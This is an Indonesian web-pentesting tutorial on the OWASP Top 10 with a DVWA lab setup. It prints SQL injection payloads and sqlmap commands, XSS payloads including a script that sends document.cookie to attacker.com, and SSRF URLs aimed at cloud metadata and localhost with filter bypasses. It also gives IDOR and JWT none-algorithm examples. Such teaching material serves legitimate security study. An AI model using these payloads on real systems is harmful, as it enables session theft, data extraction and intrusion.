Mempelajari OWASP Top 10 secara mendalam — SQL injection, XSS, SSRF, IDOR, dan authentication flaws — beserta teknik exploitasi dan mitigasi menggunakan DVWA, Burp Suite, dan SQLMap

Setelah di episode 6 kita mengeksploitasi service jaringan — SMB, SSH, FTP, dan MITM attacks — pada episode ini kita naik ke application layer: web pentesting berdasarkan OWASP Top 10 (2021). Aplikasi web adalah attack surface terbesar di era modern — hampir semua organisasi punya web application, dan kerentanan di level aplikasi seringkali lebih berdampak dibanding kerentanan infrastruktur.
OWASP Top 10 adalah daftar 10 kerentanan web paling kritis yang diperbarui secara berkala oleh komunitas keamanan global. Memahami setiap item dalam daftar ini adalah kewajiban bagi setiap pentester.
| Rank | Kerentanan | Singkatan |
|---|---|---|
| A01 | Broken Access Control | - |
| A02 | Cryptographic Failures | - |
| A03 | Injection | SQLi, XSS, Command Injection |
| A04 | Insecure Design | - |
| A05 | Security Misconfiguration | - |
| A06 | Vulnerable & Outdated Components | - |
| A07 | Identification & Authentication Failures | - |
| A08 | Software & Data Integrity Failures | - |
| A09 | Security Logging & Monitoring Failures | - |
| A10 | Server-Side Request Forgery | SSRF |
SQL injection memanipulasi query database melalui input pengguna. Ini adalah salah satu kerentanan paling berbahaya karena bisa mengakses seluruh database.
1. In-Band SQLi (Classic)
├── Error-based: mengekstrak data dari error message
└── Union-based: menggunakan UNION SELECT
2. Blind SQLi
├── Boolean-based: membandingkan response
└── Time-based: menggunakan delay
3. Out-of-Band SQLi
└── Menggunakan DNS atau HTTP request-- Input default
' OR '1'='1' --
-- Union-based extraction
' UNION SELECT username, password FROM users --
-- Time-based blind
' OR IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0) --# Basic SQLi detection
sqlmap -u "http://target.com/page?id=1" --dbs
# POST-based SQLi
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --dbs
# With cookie
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123" --dbsXSS memungkinkan penyerang menyuntikkan script ke halaman yang dilihat pengguna lain.
| Tipe | Persistensi | Contoh |
|---|---|---|
| Stored XSS | Persisten di database | Comment field, profile |
| Reflected XSS | Via URL parameter | Search query |
| DOM-based XSS | Client-side | document.location |
<!-- Stored XSS -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<!-- Reflected via URL -->
http://target.com/search?q=<script>alert('XSS')</script>
<!-- Cookie stealing -->
<script>new Image().src="http://attacker.com/steal?c="+document.cookie</script>SSRF mengeksploitasi fitur fetching server untuk mengakses resource internal:
# Basic SSRF
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/
# SSRF ke internal service
http://target.com/fetch?url=http://localhost:3306/
# Filter bypass
http://target.com/fetch?url=http://0177.0.0.1/ # 127.0.0.1
http://target.com/fetch?url=http://127.1/ # 127.0.0.1IDOR memungkinkan pengguna mengakses resource yang seharusnya tidak bisa diakses dengan mengubah ID pada URL:
# Normal request
GET /api/users/123
# IDOR: ganti ID untuk akses user lain
GET /api/users/124
GET /api/users/125# Decode JWT
echo "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0..." | base64 -d
# None algorithm attack
# Ubah header: {"alg":"none"} → sign kosongTip
Gunakan Burp Suite (Community Edition gratis) untuk intercepting dan modifying HTTP requests. Ini adalah tool wajib untuk web pentesting — kita bahas lebih detail di episode 20.
Setup DVWA (Damn Vulnerable Web Application) untuk praktik:
# Docker
docker run --rm -d -p 80:80 vulnerables/web-dvwa
# Akses di browser
http://localhost/setup.php
# Setup database → login admin/passwordPraktikkan setiap OWASP Top 10 kategori di DVWA:
Inti yang harus dibawa pulang:
Di episode 8 selanjutnya, kita akan mempelajari exploitation menggunakan Metasploit & manual — membuktikan kerentanan yang ditemukan melalui exploitation langsung, termasuk buffer overflow basics.